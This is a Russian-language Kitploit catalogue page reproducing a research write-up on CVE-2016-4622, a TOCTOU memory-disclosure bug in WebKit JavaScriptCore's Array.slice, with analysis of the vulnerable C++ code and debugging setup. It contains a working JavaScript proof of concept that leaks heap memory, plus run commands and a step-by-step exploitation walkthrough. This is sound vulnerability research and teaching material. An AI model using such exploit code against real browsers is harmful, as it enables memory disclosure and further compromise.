Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
WebKit-CVE-2016-4622 — Глубокий анализ и прохождение эксплуатации CVE-2016-4622, уязвимости раскрытия памяти в WebKit JavaScriptCore через состояние гонки TOCTOU в Array.slice, с кодом PoC и настройкой отладки. | Kitploit
Инструменты/GitHubGitHub/hdbreaker/webkit-cve-2016-4622
Криминалистика памятиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСтатьи и ИсследованияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHub

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
hdbreaker/webkit-cve-2016-4622

WebKit-CVE-2016-4622

Глубокий анализ и прохождение эксплуатации CVE-2016-4622, уязвимости раскрытия памяти в WebKit JavaScriptCore через состояние гонки TOCTOU в Array.slice, с кодом PoC и настройкой отладки.

Репозиторий
235181 год назадПроверено Kitploit

WebKit CVE-2016-4622: Глубокий анализ уязвимости быстрого пути Slice ValueOf

Полный анализ и эксплуатация уязвимости в WebKit JavaScript Core, приводящей к раскрытию памяти через манипуляцию Array.slice

Содержание

  • Краткое описание
  • Обзор уязвимости
  • Настройка среды исследования
  • Технический анализ
  • Пошаговая эксплуатация
  • Основные выводы
  • Ресурсы и ссылки

Краткое описание

Этот репозиторий содержит полный анализ CVE-2016-4622 — критической уязвимости раскрытия памяти в движке JavaScript Core WebKit. Уязвимость вызвана состоянием гонки в реализации Array.slice(), которое можно использовать для утечки содержимого соседней памяти, что служит основой для более сложных примитивов эксплуатации, таких как addrof и fakeobj.

Воздействие: раскрытие памяти с возможностью удаленного выполнения кода
Затронутый компонент: WebKit JavaScript Core (JSC)
Основная причина: уязвимость «проверка-по-времени-использование» (TOCTOU) в реализации fastSlice


Обзор уязвимости

Суть проблемы

Уязвимость существует в оптимизированном «быстром пути» метода Array.slice(). При обработке параметров slice движок преобразует объекты-аргументы в примитивные значения, вызывая их метод valueOf(). Это преобразование происходит после определения параметров операции slice, но до фактического копирования памяти.

Вектор атаки

var a = [];
for (var i = 0; i < 100; i++)
    a.push(i + 0.123);

var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(b);

Что происходит:

  1. Массив a создаётся с 100 элементами.
  2. Во время обработки параметра slice вызывается valueOf().
  3. Вредоносный valueOf() сокращает длину массива до 0.
  4. memcpy пытается скопировать 10 элементов из пустого массива.
  5. Результат: копируется соседняя память, что приводит к раскрытию информации.

Настройка среды исследования

Структура репозитория

WebKit-CVE-2016-4622/
├── Saelo-Exploit-CVE-2016-4622/    # Эталонная реализация от Saelo
├── Exploit/                        # Собственные попытки эксплуатации
│   ├── poc-memleak.js             # PoC утечки памяти
│   └── slice_over_array.js        # Обучающие примеры
├── WebKit-SRC-CVE-2016-4622/     # Уязвимый исходный код (коммит 320b1fc)
├── WebKit-Bins/                   # Скомпилированные бинарники для тестирования
│   ├── Debug/                     # Отладочная сборка с символами
│   └── ASAN/                      # Сборка с включенным AddressSanitizer
└── Screenshoots/                  # Визуальная документация

Среда тестирования

Бинарники: предварительно скомпилированные исполняемые файлы JSC, собранные на VMWare OSX 10.11 с XCode 7.3.2
Архитектура: x86_64 Mach-O
Отладочные возможности: символы + AddressSanitizer для полного анализа

Запуск PoC

cd WebKit-Bins/Debug
export DYLD_FRAMEWORK_PATH=$(pwd)
./jsc ../../Exploit/poc-memleak.js

# Ожидаемый вывод, показывающий утечку памяти:
# 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0

Технический анализ

Понимание механики Array.slice()

Метод Array.slice(begin, end) создаёт поверхностную копию части массива. В обычных условиях:

var array = ['a', 'b', 'c', 'd'];
var subset = array.slice(1, 3);  // Возвращает ['b', 'c']

Ключевой момент: параметр end проходит преобразование типа через valueOf(), что создаёт окно для эксплуатации.

Анализ стека вызовов

При срабатывании уязвимости AddressSanitizer фиксирует следующий поток вызовов:

#0  memcpy-param-overlap detected
#1  JSC::JSArray::fastSlice()
#2  JSC::arrayProtoFuncSlice()
#3  Контекст выполнения JavaScript

Анализ стека

Глубокое погружение: пофункциональный анализ

1. arrayProtoFuncSlice() – точка входа

Расположение: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:848-887

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
    JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
    unsigned length = getLength(exec, thisObj);  // Исходная длина: 100
    
    // Критически: преобразование параметров происходит здесь
    unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
    unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
    
    // Определение быстрого пути
    std::pair<SpeciesConstructResult, JSObject*> speciesResult = 
        speciesConstructArray(exec, thisObj, end - begin);
    
    if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
        // Уязвимость срабатывает здесь
        if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
            return JSValue::encode(result);
    }
    // ... резервная реализация
}

2. argumentClampedIndexFromStartOrEnd() – триггер преобразования

Расположение: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:224-236

static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
    JSValue value = exec->argument(argument);
    if (value.isUndefined())
        return undefinedValue;

    // КРИТИЧЕСКИ: именно здесь вызывается valueOf()
    double indexDouble = value.toInteger(exec);
    
    if (indexDouble < 0) {
        indexDouble += length;
        return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
    }
    return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}

Состояние гонки:

  • При обработке второго параметра {valueOf: function() { a.length = 0; return 10; }}
  • value.toInteger(exec) вызывает наш вредоносный valueOf()
  • Наша функция изменяет длину массива со 100 на 0
  • Но параметры операции slice (begin=0, end=10) остаются неизменными

3. fastSlice() – где происходит повреждение памяти

Расположение: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp:692-720

JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
    auto arrayType = indexingType();
    switch (arrayType) {
    case ArrayWithDouble:
    case ArrayWithInt32:
    case ArrayWithContiguous: {
        // ... подготовительный код ...
        
        auto& resultButterfly = *resultArray->butterfly();
        if (arrayType == ArrayWithDouble)
            // УЯЗВИМОСТЬ: чтение за границами массива
            memcpy(resultButterfly.contiguousDouble().data(), 
                   m_butterfly.get()->contiguousDouble().data() + startIndex, 
                   sizeof(JSValue) * count);
        // ...
    }
}

Повреждение памяти:

  • startIndex = 0, count = 10
  • Длина массива теперь равна 0 (изменена в valueOf())
  • memcpy читает 10 значений JSValue, начиная с индекса 0
  • Поскольку массив пуст, читается соседняя память из кучи
  • Результат: уязвимость раскрытия информации

Пошаговая эксплуатация

Пошаговый поток атаки

  1. Фаза подготовки

    var a = [];
    for (var i = 0; i < 100; i++)
        a.push(i + 0.123);
    
    • Создаётся массив типа ArrayWithDouble с 100 элементами
    • Элементы хранятся непрерывно в памяти
  2. Фаза триггера

    var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
    
    • Инициируется операция slice с вредоносным объектом в качестве параметра end
    • Проверка быстрого пути проходит (массив выглядит нормальным)
Скачать инструмент